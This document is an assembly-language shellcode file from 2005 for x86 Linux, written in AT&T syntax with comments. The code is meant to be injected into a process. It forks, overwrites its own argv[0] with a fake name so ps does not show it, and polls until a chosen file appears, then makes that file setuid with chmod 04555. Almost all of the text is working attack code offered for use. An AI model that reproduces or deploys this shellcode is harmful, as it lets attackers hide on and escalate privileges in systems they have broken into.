#=============================================================================================# # hide-wait-change (final v4) # # ------------------------------------------------------------------------------------------- # # Author: xort (rrs@clyde.dcccd.edu) # # Date: 09/14/2005 3:35pm # # Type: shellcode/(x86-linux).s, (at&t) # # Size: strlen(fake-proc-name) + strlen(file-to-change) + 187 # # Discription: This is a shellcode that will infect a process, play some argv[0] games among # # other tricks to hide itself from 'ps', and waits until the creation of a # # specified file. Once this file is found to exist, its permissions are changed # # to 04555. Original concept concived by izik. # ############################################################################################### .section .text .global _start ################################################################################### ## ## ## _start: 1) fork() a new process ## ## 2) check to see if we are child process ## ## 3) if we are then _exit() ## ## ## ################################################################################### _start: #-------------------------------------------# # we start with a fork() # #-------------------------------------------# push $0x02 pop %eax int $0x80 #-------------------------------------------# # child or parent? # #-------------------------------------------# test %eax, %eax je proc_name #-------------------------------------------# # parent goes exit() # #-------------------------------------------# push $0x01 pop %eax int $0x80 ################################################################################### ## ## ## 1) get address of "/proc/self/stat" and fix null@end ## ## 2) open() "/proc/self/stat" ## ## 3) read in 250 bytes from file ## ## ## ################################################################################### #-------------------------------------------# # grab "/proc" string location # #-------------------------------------------# ret_w_proc: pop %ebx lea 0x10(%ebx), %esi #-------------------------------------------# # fix "/proc" string to include c-string # # terminator # #-------------------------------------------# incb 0xf(%ebx) ################################################################################### ## ## ## Open "/proc/self/stat" and read in 250 bytes ## ## ## ################################################################################### #-------------------------------------------# # open() the file # #-------------------------------------------# cdq xor %ecx, %ecx movb $0x5, %al int $0x80 #------------------------------------------# # read() 250-bytes from the file into # # ESP-250 # #------------------------------------------# xchg %eax, %ebx # store fd-pointer in ebx push $0x3 pop %eax movb $250, %dl mov %esp, %ecx sub %edx, %ecx int $0x80 mov %ecx, %edi add %eax, %edi ################################################################################### ## ## ## 1) Get location of pointer to argv[0] from file (NF-13) ## ## 2) Convert it to binary ## ## 3) use that to find real argv[0]s location ## ## 4) null-out all args with 0x0 ## ## ## ################################################################################### #------------------------------------------# # scan for the decimal-string of the # # location of argc & argv[0] # #------------------------------------------# xchg %eax, %ebx std push $0x20 pop %eax push $14 pop %ecx findargs: xchg %ecx, %ebx repne scasb xchg %ecx, %ebx loop findargs inc %edi inc %edi #------------------------------------------# # translate string into a real number to # # obtain pointer. # #------------------------------------------# xor %eax, %eax push $10 pop %ebx cld calcloop: xor %edx, %edx movb (%edi), %cl subl $0x30, %ecx addl %ecx, %eax inc %edi cmpb $0x20, (%edi) je done_gotnum mul %ebx jmp calcloop #------------------------------------------# # once we have the location in memory of # # pointers to argc,argv[0-?], and envp, # # extract the location of argv[0] # #------------------------------------------# done_gotnum: xchg %eax, %esp pop %edi pop %edi xchg %eax, %esp #------------------------------------------# # write 255 null characters past argv[0] # # to overwrite it and any other args so ps # # wont see them later # #------------------------------------------# push %edi movb $0xff, %cl xor %eax, %eax rep stosb pop %edi ################################################################################### ## ## ## 1) Get location of string we are going to copy over argv[0] and fix ## ## null@end. ## ## 2) Call setsid() to extablish us as a process leader. ## ## 3) Jump over strings into shellcode. ## ## ## ################################################################################### #------------------------------------------# # Get string location, fix nullchar and # # copy over argv[0], # #------------------------------------------# push %esi dec %esi findend: inc %esi inc %ecx cmpb $0xff, (%esi) jne findend incb (%esi) pop %esi rep movsb #------------------------------------------# # Call setsid() to establish us as a # # process leader. # #------------------------------------------# movb $66, %al int $0x80 mov %esi, %edi xchg %eax, %edx dec %eax mov %eax, %ecx repne scasb incb -1(%edi) #------------------------------------------# # Jump over strings into shellcode # #------------------------------------------# jmp *%edi ################################################################################### ## STRINGS ## ################################################################################### proc_name: call ret_w_proc .ascii "/proc/self/stat\xff" replace_string: .ascii "haha\xff" filename: .ascii "/tmp/foo\xff" ################################################################################### # # # SHELLCODE # # 1) call nanosleep(60) # # 2) check to see if FILENAME exist w/ access() # # 3) if it does, then chmod 04555 FILENAME and exit # # 4) _exit() # # # ################################################################################### shellcode: push $60 checkforfile: inc %eax #------------------------------------------# # nanosleep(%edi) # #------------------------------------------# mov %esp, %ecx mov %esp, %ecx mov %esp, %ebx xorb $0xa2, %al int $0x80 #------------------------------------------# # access((%esi),0) # #------------------------------------------# xor %ecx, %ecx mov %esi, %ebx xorb $0x21, %al int $0x80 test %eax, %eax jne checkforfile #------------------------------------------# # chmod((%esi),04555) # #------------------------------------------# movb $0xf, %al movw $0x96d, %cx int $0x80 #------------------------------------------# # _exit() # #------------------------------------------# inc %eax int $0x80